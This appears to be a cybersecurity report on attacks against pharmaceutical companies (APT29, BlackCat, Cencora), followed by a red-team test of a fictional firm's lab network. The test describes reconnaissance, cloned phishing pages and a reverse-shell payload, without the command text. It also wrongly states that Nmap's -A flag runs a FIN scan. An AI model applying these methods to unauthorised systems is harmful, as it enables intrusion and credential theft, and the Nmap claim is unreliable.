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1 [bookmark: _Toc197371880]Introduction
In 2020, the FBI (Federal Bureau of Investigation) and CISA (Cybersecurity and Infrastructure Security Agency) [1] issued a joint advisory about rising ransomware threats to the Healthcare and Public Health (HPA) sector, stressing the need for strong cybersecurity and incident response plans. From 2020 to 2024, 636 ransomware attacks on healthcare providers compromised millions of patient records and caused significant financial losses [2] [3] [4].

[bookmark: _Toc197356734]Figure 1: Reported Ransomware Attacks on HealthCare Industries [3]
In 2024, UnitedHealth Group paid a $22 million ransom after a cyberattack on its subsidiary, Change Healthcare. The total cost, including system restoration and business interruption, was estimated to be between $1.4 to $1.6 billion. [5].
BlueVoyant's 2024 report [6] states that 98% of UK healthcare and pharmaceutical companies have faced cyber incidents from third parties. 
Healthcare and pharmaceutical companies face unique cybersecurity challenges due to complex supply chains, outdated systems, broad attack surfaces, and sensitive data [7] [8]. Key risks include patient data compromise and intellectual property loss [9].
[bookmark: _Toc197371881]2	Task One
[bookmark: _Toc197371882]2.1 	APT29 Spear Phishing campaigns
APT29 (also known as Midnight Blizzard, Nobelium, UNC2452, Cozy Bear) targets government, think tanks, military, IT service providers, health technology, research, and telecom companies in the US, UK, and Europe [10]. 
In 2020, APT29 targeted COVID-19 vaccine developers [11]. In October 2024, they launched spear-phishing campaigns against various sectors, including pharmaceutical companies [12] [13].
[image: ]
[bookmark: _Toc197356735]Figure 2: APT29 Description by MITRE ATT&CK [10]
[bookmark: _Toc197371883]2.1.1 	MITRE ATT&CK Techniques observed
The MITRE ATT&CK framework [10] is a global knowledge base of adversary tactics and techniques for network defenders and red teams to classify attacks, identify attribution and objectives, and assess risk. Below are some TTPs (Tactics Techniques and Procedures) associated with APT29.
[image: ]
[bookmark: _Toc197356736]Figure 3: Some techniques used by APT29 according to MITRE ATT&CK [14]
The following table outlines the key tactics used by APT29 in spear-phishing campaigns [14], as part of a broader strategy to infiltrate networks, steal sensitive information, and maintain long-term access.
[bookmark: _Toc197361000]Table 1 APT29 Spear-Phishing TTPs 
	Tactic
	Technique
	Procedures

	Initial Access
	Spearphishing Link
	Attackers send emails with malicious links to trick users into clicking and executing malicious payloads.

	
	Spearphishing Attachment
	Attackers use email attachments with embedded malware.

	Execution
	User Execution
	Tricking users into executing malicious files or links via social engineering.

	Credential Access
	Credential Dumping
	After initial access, attackers may use tools to extract credentials.

	Defence Evasion
	Command and Scripting Interpreter: PowerShell
	Use PowerShell scripts for command execution and persistence.



[bookmark: _Toc197371884]2.1.2 Cyber Kill Chain
Developed by Lockheed Martin, the Cyber Kill Chain® [15] can identify and prevent cyber intrusions by breaking attacks into seven stages, as shown below.
[image: ]
[bookmark: _Toc197356737]Figure 4: The Cyber Kill Chain® [15]
APT29 spear-phishing attacks typically follow these Cyber Kill Chain stages [13]:
· Reconnaissance: Identify and gather target information.
· Weaponisation: Create spear-phishing emails with malicious RDP (Remote Desktop Protocol) files.
· Delivery: Send spear-phishing emails, often impersonating trusted entities.
· Exploitation: RDP file connects to attacker-controlled server, gaining initial access.
· Installation: Install malware or tools for persistent access.
· Command and Control (C2): Establish communication with the compromised system.
· Actions on Objectives: Steal data, intellectual property, or conduct espionage.
[bookmark: _Toc197371885]2.1.3 Countermeasures
Effective countermeasures against APT29 spear-phishing attacks include [13]:
· Limit RDP use to necessary systems and users.
· Block RDP configuration files in email clients and webmail.
· Deploy EDR (Endpoint Detection and Response) solutions to monitor and respond to suspicious activities.
· Train employees to recognize phishing and social engineering tactics.
· Enable MFA (Multifactor Authentication), preferably phishing-resistant methods, for remote access.
· Use advanced email filtering to detect and block phishing emails.
· Keep systems and software updated with the latest security patches.
[bookmark: _Toc197371886]2.2 Sun Pharmaceutical Industries ransomware attack
On March 2, 2023, Sun Pharmaceutical Industries suffered a ransomware attack, breaching file systems and stealing company and personal data [16] [17]. The company promptly isolated affected IT systems to contain the damage. While the exact cost is undisclosed, the financial impact includes revenue loss, containment and remediation costs, potential legal and regulatory expenses, and increased insurance costs [18]. The BlackCat/ALPHV group claimed responsibility, posting samples of stolen data and alleging theft of over 17TB, including research, employee, and customer information [19].

[image: ]
[bookmark: _Toc197356738]Figure 5: BlackCat Ransomware description by MITRE ATT&CK [20]
[bookmark: _Toc197371887]2.2.1 MITRE ATT&CK Techniques observed
Below are some TTPs associated with BlackCat.
[image: ]
[bookmark: _Toc197356739]Figure 6: Some techniques used by BlackCat according to MITRE ATT&CK [20] 
The following table outlines the key tactics used by BlackCat:
[bookmark: _Toc197361001]Table 2 BlackCat TTPs 
	Tactic
	Techniques
	Procedures

	Initial Access
	Phishing
	Attackers likely used phishing emails to deliver payloads and gain network access.

	Execution
	User Execution
	Ransomware was executed by tricking users into opening malicious attachments or links.

	Persistence
	Boot or Logon Autostart Execution
	Attackers ensured ransomware persistence by modifying startup scripts or registry keys.

	Privilege Escalation
	Exploitation for Privilege Escalation
	Attackers exploited vulnerabilities to gain higher-level permissions.

	Defence Evasion
	Obfuscated Files or Information
	The ransomware used obfuscation to avoid detection.

	
	Disabling Security Tools
	Attackers disabled security tools to evade detection and response

	Credential Access


	Credential Dumping
	Attackers extracted credentials to facilitate lateral movement.

	Discovery
	Network Service Scanning
	Attackers scanned the network for targets and resources.

	Lateral Movement
	Remote Services
	Attackers used RDP for lateral movement.

	Collection
	Data from Information Repositories
	Attackers collected sensitive data.

	Exfiltration
	Exfiltration Over C2 Channel
	Attackers exfiltrate data via command and control channels.

	Impact
	Data Encrypted for Impact
	Ransomware encrypted files to disrupt operations and demand a ransom.



[bookmark: _Toc197371888]2.2.2 Cyber Kill Chain
Likely Cyber Kill Chain® stages for this ransomware attack:
· Reconnaissance: Gather information on Sun Pharma's network and employees.
· Weaponisation: Create ransomware payloads to exploit vulnerabilities.
· Delivery: Deliver ransomware via phishing emails or remote access exploits.
· Exploitation: Exploit vulnerabilities to gain initial network access.
· Installation: Install ransomware to establish a foothold.
· Command and Control (C2): Establish communication with compromised systems.
· Actions on Objectives: Encrypt files, exfiltrate data, demand ransom, and threaten data release.
[bookmark: _Toc197371889]2.2.3 Countermeasures
To prevent ransomware attacks like those by BlackCat, pharmaceutical companies can [21]:
· Keep systems and software updated with security patches.
· Implement MFA for added security.
· Use advanced email filtering to block phishing emails.
· Deploy EDR solutions to monitor and respond to suspicious activities.
· Regularly back up critical data securely and test recovery.
· Adopt a Zero Trust security model to verify all requests.
· Train employees to recognize phishing and social engineering tactics
[bookmark: _Toc197371890]2.3 Cencora data breach	
On February 27, 2024, Cencora Inc. notified the SEC (Securities and Exchange Commission) of a data breach [22]. Attackers stole sensitive data, including PII (Personal Health Information) and PHI (Protected Health Information) [23], affecting over a dozen pharmaceutical companies and potentially hundreds of thousands of individuals. Research suggests three ransomware payments were made to the Dark Angels group, totalling $75 million in Bitcoin. While there's no evidence of public disclosure or misuse of the stolen data, the breach underscores the need for robust cybersecurity measures to protect sensitive medical information.
[bookmark: _Toc197371891]2.3.1 MITRE ATT&CK Techniques observed
The Cencora attack involved several MITRE ATT&CK techniques. Key techniques used include:
[bookmark: _Toc197361002]Table 3 Cencora attack TTPs
	Tactic
	Technique
	Procedures

	Initial Access
	Phishing
	Attackers used phishing emails to trick users into providing sensitive information or clicking malicious links.

	
	Valid Accounts
	Attackers used stolen credentials to access the network.

	Execution
	Command and Scripting Interpreter: PowerShell
	PowerShell scripts executed commands and maintained persistence.

	Credential Access
	Credential Dumping
	Tools extracted credentials from compromised systems.

	Defence Evasion
	Obfuscated Files or Information
	Attackers used obfuscation to hide activities.

	Exfiltration
	Exfiltration Over Web Service
	Data was extracted via legitimate web services.

	Impact
	Data Encrypted for Impact
	Attackers encrypted data and demanded ransom for decryption keys.



[bookmark: _Toc197371892]2.3.2 Cyber Kill Chain
Likely Cyber Kill Chain steps in the Cencora attack:
· Reconnaissance: Gather information about the network, employees, and vulnerabilities.
· Weaponisation: Create or customize malware to exploit vulnerabilities.
· Delivery: Deliver malware via phishing emails.
· Exploitation: Exploit vulnerabilities to gain network access.
· Installation: Install malware on compromised systems.
· Command and Control (C2): Establish communication channels to control systems.
· Actions on Objectives: Achieve goals like data exfiltration.
[bookmark: _Toc197371893]2.3.3 Countermeasures
To defend against cyberattacks like the Cencora attack, organisations can:
· Train employees on phishing and spear-phishing tactics.
· Encourage vigilance and reporting of suspicious activities.
· Use advanced email filtering to block phishing attempts.
· Implement MFA for added security.
· Enforce strong, unique passwords and regular changes.
· Keep software and systems updated with security patches.
· Segment networks to limit malware spread and restrict access.
· Deploy endpoint protection and monitor for unusual activities.
· Regularly back up critical data and ensure robust recovery plans
[bookmark: _Toc197371894]2.4	Mitigation Strategies
CISOs are responsible for implementing cybersecurity. Key actions include:
· Develop a comprehensive cybersecurity strategy with risk assessments, governance, and policy definitions. Stay compliant with regulations like HIPAA [24], GDPR [25], and FDA guidelines [26] to avoid penalties.
· Conduct regular risk assessments to identify threats early, assess impact, and prepare mitigation strategies.
· Invest in cybersecurity technologies such as firewalls, intrusion detection systems, encryption, antivirus software, and multi-factor authentication.
3 [bookmark: _Toc197371895]TASK TWO
[bookmark: _Toc197371896]3.1	Introduction
Pharmaceutical companies face numerous cybersecurity threats due to sensitive data, regulatory pressures, and complex supply chains. Key threats include:
· Ransomware: Data is stolen and encrypted until a ransom is paid.
· Phishing and Social Engineering: Fraudulent messages trick providers into sharing data or downloading malware.
· Data Breaches: Hackers uncover sensitive data, leading to penalties, loss of trust, and legal consequences.
· Supply Chain Attacks: Third-party providers introduce malware, causing production delays and revenue loss.
· Intellectual Property Theft: Cybercriminals steal drug formulations and clinical data for competitors or the black market.
· Insider Threats: Employees or partners compromise security, intentionally or negligently.
· Cyber Espionage: Corporate or state-sponsored players spy on pharmaceutical data for competitive advantage or national security.
· New Technologies: IoT devices, connected medical tools, and cloud computing create new access points for cybercriminals.
[bookmark: _Toc197371897]3.2 Ethical Hacking
Ethical hacking involves using hacking techniques to identify and fix security vulnerabilities in systems, networks, and applications. Unlike malicious hackers, ethical hackers have permission.
[bookmark: _Toc197371898]3.2.1	Penetration Testing Vs Red Teaming
Penetration Testing (Pentesting) and Red Teaming are key cybersecurity practices with different goals, scopes, and methods. Pentesting identifies and exploits vulnerabilities in specific areas like web applications, networks, or mobile devices to gauge how far an attacker can penetrate. Red Teaming tests an organisation's detection and response by simulating real attack scenarios, targeting multiple security aspects [27]. 
Both are vital for a robust cybersecurity strategy, with Pentesting revealing vulnerabilities and Red Teaming assessing overall security and response.
[bookmark: _Toc197371899]3.2.2	Frameworks
There are several frameworks to provide structured methodologies and best practices for ethical hackers to conduct through, effective and repeatable security assessments [28].
3.2.2.1 MITRE ATT&CK®
This framework breaks down adversary tactics and techniques based on real-world observations [29].
[image: ]
[bookmark: _Toc197356740]Figure 7: MITRE ATT&CK® Framework [29]
3.2.2.1.2	MITRE ATT&CK® PRE Matrix
MITRE ATT&CK® PRE MATRIX focuses on tactics and techniques used outside a victim's environment, assisting in reconnaissance and resource development [30] .
[image: ]
3.2.2.2		OWASP (Open Web Application Security Project)
Focused on web applications security, the OWASP Top Ten lists the most critical security risks [31].
[image: ]
[bookmark: _Toc197356741]Figure 8: OWASP Top Ten [31]
3.2.2.3		NIST Cybersecurity Framework
A policy framework for organisations to assess and enhance their ability to prevent, detect, and respond to cyberattacks [32].
The NIST SP 800-115 outlines technical guidance for Pentesting, structured into four distinct phases [33].
[image: ]
[bookmark: _Toc197356742]Figure 9 - NIST Four-Stage Penetration Testing Methodology [33]

3.2.2.4		 PTES (Penetration Testing Execution Standard)
PTES is a comprehensive methodology that defines seven phases of penetration testing [34].
[image: ]
[bookmark: _Toc197356743]Figure 10 - Seven Phases of PTES [34].
3.2.2.5		 PTF (Penetration Test Framework)
Provides a comprehensive guide for conducting penetration tests [35]. It covers key areas such as network footprinting, vulnerability assessment, and exploitation techniques [36]. 
[image: ] 
[bookmark: _Toc197356744]Figure 11 Five Phases of PTF [36]
Several cybersecurity certifications recommend using this framework, including:
· EC-Council Certified Ethical Hacker (CEH) [37] 
· Offensive Security Certified Professional (OSCP) [38]
· GIAC Penetration Tester (GPEN) [39]
· CompTIA Pen Test+ [40]
[bookmark: _Toc197371900]4	Cureton Pharmaceutical Company (CRC)
CRC, a fictional pharmaceutical company developing vaccines for respiratory viruses, is a prime target for cyberattacks. To protect against ransomware, CRC's Cybersecurity Division has formed a new internal Red Team to test existing cybersecurity controls.
[bookmark: _Toc197371901]4.1 	Requirements
A virtual test environment was created using the following basic network diagram. No access credentials will be provided.
[image: ]
[bookmark: _Toc197356745]Figure 12: Basic Network Topology of fictional company
[bookmark: _Toc197371902]4.2 	Presumptions
Before the Red Team can proceed, several legal considerations must be addressed. For this assessment, the following have been addressed:
· Consent from the CISO and legal counsel.
· Written, explicit permission from the CISO for testing.
· Waiver of repercussions from the CISO in case of disaster during testing.
· CISO has approved the scope and detailed plan.
· Testing outside the agreed scope is unauthorised.
· No information will leave the CRC network.
[bookmark: _Toc197371903]4.3	Penetration Test Contingency Plan
[bookmark: _Toc197371904]4.3.1	Objective and Scope
The test aims to identify and mitigate security vulnerabilities in CRC's network to protect against ransomware. The scope includes all network devices, servers, databases, and endpoints.
[bookmark: _Toc197371905]4.3.2	Approach
The internal Red Team will conduct grey box penetration testing with partial knowledge of target systems, including network diagrams, but without access credentials [28]. The test will emulate techniques used by APT29 [14] and BlackCat Ransomware Group [20].
[bookmark: _Toc197371906]4.3.3 Limitations and constraints
No physical security will be tested, including:
· Physical access controls
· Perimeter review
· Surveillance systems
· Security alarms
· Location/environment review
Wireless security is also out of scope, including:
· Wireless network testing
· Privacy review
These limitations mean the test won't cover vulnerabilities related to physical access or wireless networks. These will need to be addressed separately [41] [42].
[bookmark: _Toc197371907]4.3.4	Risk Assessment
Potential risks include system downtime, data corruption, and unauthorised access [43]. The Red Team will avoid destabilising data or network integrity. Mitigations include:
· Conducting tests outside business hours.
· SOC monitoring the network with a detailed plan and schedule.
· Backing up and testing all critical data beforehand.
· Providing a communication plan with escalation points.
· Ceasing the test immediately if any security incidents occur.
[bookmark: _Toc197371908]4.3.5	Roles and Responsibilities
The Project Manager and Lead Penetration Tester are assigned.
CRC IT Support will provide technical assistance and ensure system stability.
CRC Incident Response Team will handle any security incidents discovered during the test.
[bookmark: _Toc197371909]4.3.6	Communication Plan
Emergency contact details for the project manager, IT support, and incident response will be provided, with clear escalation points.
Regular updates via email; critical issues reported immediately via phone and ServiceNow [44].
[bookmark: _Toc197371910]4.3.7	Backup and Recovery Procedures
Backup and recovery procedures in Pentesting are crucial because they:
· Safeguard critical data against loss or corruption.
· Ensure swift restoration of systems.
· Minimise business operation impact through quick recovery.
These steps maintain data integrity and availability, ensuring business continuity during security incidents during the test [45].
[bookmark: _Toc197371911]4.3.8	Incident Response Plan
The SOC will monitor for security incidents during the test.
The Incident Response Team will follow predefined procedures to contain and mitigate incidents.
All actions will be documented for the lessons learned phase
[bookmark: _Toc197371912]4.3.9	 Testing Schedule
Testing is due to begin on 1st April 2025 at 18:00 and end on 29th April at 22:00.
Testing will comprise of the following stages:
· Reconnaissance to gather externally available information about the network.
· Discovery to identify active devices and services on the network.
· Enumeration to extract detailed information about network resources.
· Vulnerability assessment to identify and evaluate security weaknesses
· Exploitation
· Reporting and cleaning up after the test.
[bookmark: _Toc197371913]4.4	Choice of Penetration Testing Framework
Each framework has its strengths and weaknesses. The choice depends on your specific needs, resources and expertise.
[bookmark: _Toc197361003]Table 4 Pros and Cons of Penetration Testing Frameworks
	Framework
	Advantages
	Disadvantages

	MITRE ATT&CK
	· Comprehensive coverage
· Real-world data
· Versatile
	· Complex
· Resource Intensive

	OWASP
	· Focus on web security
· Community driven
· Practical tools and guidelines
	· Limited scope

	NIST Cybersecurity Framework
	· Standardised approach
· Helps organisations meet regulatory requirement
· Flexible 
	· Generalised and may lack specific details for certain industries or threats.
· Requires significant effort to fully integrate.

	PTES
	· Structured methodology
· Covers all phases of penetration testing
· Widely accepted and respected in the cybersecurity community
	· Rigid
· Requires substantial resources and expertise.


Given that the test aims to emulate real-world threat actors, the MITRE ATT&CK framework is the most suitable choice
[bookmark: _Toc197371914]4.5	Choice of Penetration Tools
Here are MITRE ATT&CK® techniques mapped to APT29 and BlackCat activities and tools.
[bookmark: _Toc197361004]Table 5 Threat Actor tools mapped to MITRE ATT&CK Phases
	Tactic
	Technique
	Objective
	Method
	Tools

	Reconnaissance
	Gather victim identity information
	Collect details about target. E.g. usernames, emails addresses, job roles.
	Use open-source intelligence tools and sources
	Maltego, Recon-ng, SpiderFoot

	
	Acquire Infrastructure
	Obtain domains, IP addresses and servers to support operations
	Register domains, lease servers and set up VPNs
	Domain registration services, VPN services, cloud providers

	Resource Development
	Develop Capabilities
	Customise malware and tools for exploitation
	Develop and test malware in a controlled environment
	Metasploit, Cobalt Strike, custom malware

	
	Establish Accounts
	Set up accounts to facilitate operations
	Create social media accounts, email accounts and cloud service accounts.
	Social media platforms, email providers, cloud service providers

	Initial Access
	Spearphishing attachment
	Use emails with malicious attachment to gain initial access
	Craft convincing emails with malicious attachments
	Gophish phishing frameworks, email clients

	
	Spearphishing link
	Embed malicious links into emails to lure targets to malicious website
	Design phishing websites and embed links in emails.
	Phishing frameworks, URL shortening services

	
	Exploit Public-Facing Applications
	Exploit vulnerabilities in public-facing applications to gain access.
	Scan for vulnerabilities and use exploits to compromise vulnerable applications.
	Burp Suite, OWASP ZAP, Nessus

	Execution
	Command and Scripting Interpreter
	Execute commands on compromised systems using tools like PowerShell and Windows Command Shell.
	Use scripts and command-line tools to perform actions on the target system.
	PowerShell, Windows Command Shell, Python

	Persistence
	Valid Accounts
	Maintain access through legitimate accounts
	Use stolen credentials to log in and create backdoor
	Credential management tools, password managers

	Defence Evasion
	Obfuscated Files or Information
	Hide activities using techniques like steganography
	Encode data within images or other files to avoid detection
	Steghide steganography tool, encryption tools

	
	Disable Security Tools
	Modify or disable security tools to avoid detection
	Use scripts to disable antivirus software and firewall settings
	Scripting

	Credential Access
	OS Credential Dumping
	Extract credentials from operating systems
	Use tools like Mimikatz to dump credentials from memory
	Mimikatz, Windows Credential Editor (WCE)

	Discovery
	System Information Discovery
	Gather Information about the system
	Use system commands to retrieve details about the  OS, hardware and software
	‘systeminfo’, ‘hostname’

	
	Network Service Scanning
	Identify services running on networked devices
	Use network scanning tools to map out active services
	Nmap, Masscan

	Lateral Movement
	Remote Services
	Use protocols like RDP and SMB to move laterally within the network.
	Use stolen credentials to access remote services and transfer files
	RDP, SMB/Windows Admin Shares

	Collection
	Data from Information Repositories
	Extract data from databases and file shares
	Use SQL queries and file transfer tools to collect data
	SQL queries, WinSCP

	Exfiltration
	Exfiltration Over C2 Channel
	Transfer data over command and control channels
	Use encryption channels to send data to remote servers.
	HTTPS, VPN

	Impact
	Data Destruction
	Delete or corrupt data to disrupt operations
	Use scripts to delete files and modify data
	Scripting


[bookmark: _Toc197371915]5	Penetration Test
[bookmark: _Toc197371916]5.1	Reconnaissance
This phase is crucial and requires the most time. Accurate information here boosts the chances of undetected success [28].
[bookmark: _Toc197371917]5.1.1	Gather victim identity information
This threat actor is known to use open-source intelligence tools and sources (see Table 5, Threat Actor tools mapped to MITRE ATT&CK Phases).
The first step is to identify the target company's digital footprint using various open-source tools and techniques.
5.1.1.1 		Google Hacking
Google hacking (or Google Dorks) is a quick way to search specific criteria. ExploitDB’s Google Hacking Database (GHDB) is a good starting point [46].
The GHDB is a collection of search queries, known as Google Dorks, that help uncover sensitive information, vulnerable systems, and misconfigured web applications on the internet. This is an OSINT (Open-Source Intelligence) technique to gather publicly available intelligence.
[image: ]
[bookmark: _Toc197356746]Figure 13 Google Hacking Database [46]
The following figure demonstrates how quickly data can be gathered using simple dorks. Since CPC is a fictional company with no web presence, OSINT will be conducted on www. certifiedhacker.com
[image: ]
[bookmark: _Toc197356747]Figure 14 Google dork to find companies location
5.1.1.2		Maltego
Next, gather information about individuals linked to the target company. Maltego is a good starting point. The Maltego Community Edition can find identity details such as full names, email addresses, phone numbers, social media profiles, and physical addresses using various Transforms [47]. The transform below identifies potential email addresses linked to the target (here, the author).
[image: ]
[bookmark: _Toc197356748]Figure 15 - Maltego email transforms
5.1.1.3		Social Media
Once you have a target, use social media to gather useful information. For example, the screenshot below shows data on Elon Musk. This information can make a spear phishing attack more credible or help pivot to another source for further details.
[image: ]
[bookmark: _Toc197356749]Figure 16 Results from Social Searcher
[bookmark: _Toc197371918]5.1.2 	Gather network information
5.1.2.1		Netdiscover	
Finally, gather information about the infrastructure, focusing on the virtual network created for CPC. Netdiscover uses ARP (Address Resolution Protocol) to identify devices on a local network connected to a specified interface ID [48]. Here, the attacker machine is connected to the public network 192.168.10.1/24. The network diagram shows two connected servers, and Netdiscover reveals their IP addresses.
[image: ]
[bookmark: _Toc197356750]Figure 17 Netdiscover finds the IP addresses of the two servers
5.1.2.2 		Nmap
Nmap (Network Mapper) is an open-source tool for network discovery and security auditing [49]. Using the newly discovered IP addresses it can:
· Scan IP addresses and ports.
· Detect services and applications.
· Identify vulnerabilities.
· Map network topology.
Using the -A flag, Nmap sends TCP packets with only the FIN flag set, avoiding the SYN-ACK handshake. This makes the scan harder to detect and can bypass certain firewall configurations. The TCP FIN scan also enables OS detection, version detection, script scanning, and traceroute.
[image: ]
[bookmark: _Toc197356751]Figure 18 Nmap (-A) results for 192.168.10.200
Server 1 is likely a domain controller (LDAP is active and the server name is DC1). LDAP’s RootDSE provides essential directory server information.
The scan identified three named pipes on 192.168.10.200 over SMB:
· netlogon: Domain trusts and user authentication.
· lsarpc: Security information and policies.
· samr: User account information.
Please see Annex A for the Nmap –A results for 192.168.10.201.
[image: ]
[bookmark: _Toc197356752]Figure 19 Vital SMB information provided by Nmap
The Nmap scan output shows “smb2-security-mode: 3:1:1: Message signing enabled and required.” This means that the SMB (Server Message Block) protocol on the target device requires message signing, so both the client and server must sign all SMB messages for communication to occur [50].
Signed messages makes it harder to exploit SMB vulnerabilities and prevents SMB relay attack.
5.1.2.3		Nbtscan
Nbtscan is a command-line tool for scanning networks for NetBIOS name information, especially useful in Windows-based environments [51]. In Pentesting, NetBIOS names are useful for [52]:
· Network Mapping: Identifying devices and mapping network topology.
· Service Enumeration: Revealing services and potential vulnerabilities.
· User and Device Identification: Providing information for targeted attacks.
· Exploiting Legacy Systems: Exploiting vulnerabilities in older systems using NetBIOS.
The -r flag in nbtscan instructs the tool to use the local port 137 to bypass firewalls.
[image: ]
[bookmark: _Toc197356753]Figure 20 NetBIOS names discovered with nbtscan
The -v flag in NetScan enables verbose output which provides more detailed information during the scan.

[image: ]
[bookmark: _Toc197356754]Figure 21 NetBIOS Name Table for both servers
5.1.2.4		eNUM4lINUX
Enum4linux is an open-source tool for enumerating information from Windows systems. It gathers details like user listings, share files, OS information, group memberships, and password policies.
[image: ]
[bookmark: _Toc197356755]Figure 22 Output from Enum4linux
This confirms the following:
· Root domain is cpc.msft.
· The LDAP Service Name is cpc.msft:dc1$@CPC.MST.
· The domain controller is dc1-nwt.

[bookmark: _Toc197371919]5.1.3 	Automated Reconnaissance
5.1.3.1		MALTEGO MACHINES
There are several ways to automate this phase. One method is to use a tool like Maltego, which offers pre-built machines to automate various Transforms [53].
[image: ]
[bookmark: _Toc197356756]Figure 23 The OSINT Machine
5.1.3.2		Metasploit
Metasploit is an open-source framework used for penetration testing and exploit development [54]. It allows security professionals to simulate attacks on computer systems, networks, and applications to identify vulnerabilities.
Metasploit includes a wide range of tools and modules for tasks such as reconnaissance, exploitation, and post-exploitation. Metasploit's module “services” finds what services are installed. The figure below shows the results of Server 1.
[image: ]
[bookmark: _Toc197356757]Figure 24 Services running on Server 1
5.1.3.3 		Generative AI
Another method is using Generative AI. However, the author found it often harder and more time consuming to write the correct prompt than the actual command.
ShellGPT is an AI-powered command-line tool that uses GPT technology to enhance productivity with the command line [55].  It helps execute commands, generate scripts, and automate tasks using natural language inputs. 
[image: ]
[bookmark: _Toc197356758]Figure 25 ShellGPT installed on KALI LINUX from GitHUB [55]

[bookmark: _Toc197371920]5.1.4	 Results
[bookmark: _Toc197361005]Table 6 Results of Network Reconnaissance
	
	Server 1
	Server 2

	IP Address
	192.168.10.200
	192.168.10.201

	Operating System (OS)
	Microsoft Windows Server 2019
	Microsoft Windows Server 2019

	Open Port, Service and Version
	TCP 53 – domain – Simple DNS Plus
	TCP 21 – ftp – Microsoft ftpd (ftp-syst:Windows NT)

	
	TCP 80 – https – Microsoft IIS httpd 10.0
	TCP 80 – https – Microsoft IIS httpd 10.0

	
	TCP 88 – Kerberos-sec – Microsoft Windows Kerboros
	TCP 135 – msrpc – Microsoft Windows RPC

	
	TCP 135 – msrpc – Microsoft Windows RPC
	TCP 139 – netbios-ssn – Microsoft Windows netbios-ssn

	
	TCP 139 – netbios-ssn – Microsoft Windows netbios-ssn
	TCP 445 – Microsoft-ds

	
	TCP 389 – ldap – Microsoft Windows Active Directory LDAP
	TCP 1433 –ms-sql-s  Microsoft SQL Server 2019 15.00.2000.00

	
	TCP 445 – Microsoft-ds
	TCP 2383 ms-olap

	
	TCP 593 – kpasswd5? *Used with Kerberos for password changes
	TCP 5986 http Microsoft HTTPAPI httpd 2.0

	
	TCP 593 – ncacn_http – Microsoft Windows RPC over HTTP 1.0
	TCP 8082 http Microsoft HTTPAPI httpd 2.0

	
	TCP 3268 – ldap – Microsoft Windows Active Directory LDAP
	

	
	TCP 3269  - tcpwrapped
	

	
	TCP 5985 – http – Microsoft HTTPAPI httpd 2.0 (SSDP/UpnP)
	

	Domain
	Cpc.msf

	Host
	DC1-NWT
	SRV-NWT

	NetBIOS name
	DC1-NWT
	SRV-NWT

	TraceRoute
	1 hop
	1 hop



[bookmark: _Toc197371921]5.1.5 	Acquire Infrastructure
In a typical test, this phase involves setting up the attack infrastructure, including registering at least two domains with different IP ranges for redundancy.
The attacker machine, a standard Kali Linux box, can access servers 1 and 2 via the Public Net, which connects to two private network zones.
[bookmark: _Toc197371922]5.2 	Resource Development
In this phase, the threat actor customises attack tools and creates accounts to facilitate the attack. APT 29 employs various malware, including Hammertoss, Wineloader, and Grapeloader [14].
The Social-Engineer Toolkit (SET) was used to create a dummy website for credential grabbing [56].
[image: ]
[bookmark: _Toc197356759]Figure 26 SET used to create malicious website for credential grabbing
[image: ]
[bookmark: _Toc197356760]Figure 27 Screenshot of cloned website
Msfvenom was used to create a malicious payload containing a reverse shell [57].
[image: ]
[bookmark: _Toc197356761]Figure 28 Msfvenom created malicious payload
As a backup, Zphisher was used to create a phishing page that looked like Microsoft for a second Spearphishing attack [58].
[image: ]
[bookmark: _Toc197356762]Figure 29 Zphisher created the second phishing page
[bookmark: _Toc197371923]5.3 	Initial Access
APT29 is known to use Spearphishing attachments and links, and exploit vulnerabilities of public-facing applications.
[bookmark: _Toc197371924]5.3.1 	Exploit Public-Facing Applications
First, we needed to establish if the network is vulnerable to any known exploits. As recommended by Hughes, Thomas and Campbell [59], the vulnerability assessment was based on a grey box testing approach and used automated tools from or specially installed on Kali Linux.
Windows Server 2019 currently has 74 known security vulnerabilities, including 6 critical ones and 1 zero-day vulnerability [60]:
· Remote Code Execution
· Privilege Escalation
· Denial of Service (DoS) – outside the scope of this test.
· Information Disclosure
· Security Bypass
[image: ]
[bookmark: _Toc197356763]Figure 30 Windows Vulnerabilities on OpenCVE [60]
Metasploit has a number of modules that can be used to exploit Windows Server 2019 [61]:
[image: ]
[bookmark: _Toc197356764]Figure 31 Metasploit modules that can be used to exploit Microsoft Windows Server 2019 [61]

The Metasploit scan shows Server 1 uses SMB 3.1.1 which has known vulnerabilities. One significant vulnerability is CVE-2020-0796, also known as SMBGhost. 
[image: ]
[bookmark: _Toc197356765]Figure 32 CVE-2020-0796 details from NIST National Vulnerability Database [62]
This vulnerability allows for remote code execution. An attacker can exploit this by sending specially crafted packets to a target SMB server or client, potentially gaining the ability to execute code on the target system. 
Metasploit has a module that looks for this vulnerability. 
[image: ]
[bookmark: _Toc197356766]Figure 33 Metasploit confirms target is not vulnerable to this exploit
Next SmbClient was used to check if non authorised access is permitted. 
[image: ]
[bookmark: _Toc197356767]Figure 34 smbclient confirms authorised access is required
The Metasploit module “smb_lookups” was unable to enumerate users.
[image: ]
[bookmark: _Toc197356768]Figure 35 Metasploit was unable to enumerate users
This indicates that the target system either lacks users or groups with RIDs in the range of 0-4000, or there are access restrictions in place. 
Access restrictions are confirmed when attempting to enumerate shared folders.
[image: ]
[bookmark: _Toc197356769]Figure 36 Metasploit was unable to enumerate shared folders
The initial Nmap scan of 192.168.10.200 revealed that port 53 was open, which typically indicates a Domain Name Service (DNS). This was confirmed using dig.
[image: ]
[bookmark: _Toc197356770]Figure 37 Dig uses DNS to identify the domain controller
This indicates that the domain controller “dc1-nwt.cpc.msft” provides the LDAP service on port 389. Microsoft-IIS/10.0 may have vulnerabilities depending on its configuration and patch status. Notable vulnerabilities include:
· CVE-2020-0645: Tampering vulnerability due to improper handling of malformed request headers.
· CVE-2021-31166: Remote code execution vulnerability in the HTTP Protocol Stack (HTTP.sys).
To check if this instance of Microsoft-IIS/10.0 is vulnerable, a Metasploit “CVE search” was performed.


[image: ]
[bookmark: _Toc197356771]Figure 38 Metasploit shows target server is not vulnerable to these two CVEs

Using WMAP with Metasploit streamlines the process of scanning and identifying vulnerabilities. 
Using wmap to find vulnerabilties on 192.168.10.200[image: ]
[bookmark: _Toc197356772]Figure 39 wmap vulnerability results on 192.168.10.200

Using Nikto to check for any other vulnerabilities. The –C all option instructs Nikto to scan all the CGI directories.
CGI (Common Gateway Interface) directories often contains vulnerable scripts [63]. 
[image: ]
[bookmark: _Toc197356773]Figure 40 Nikto scan results
The Nikto scan results for both servers indicate the same potential vulnerabilities and configuration issues which will be included in report (section 6) along with recommendations.
Please see Annex B for Nessus scan results.
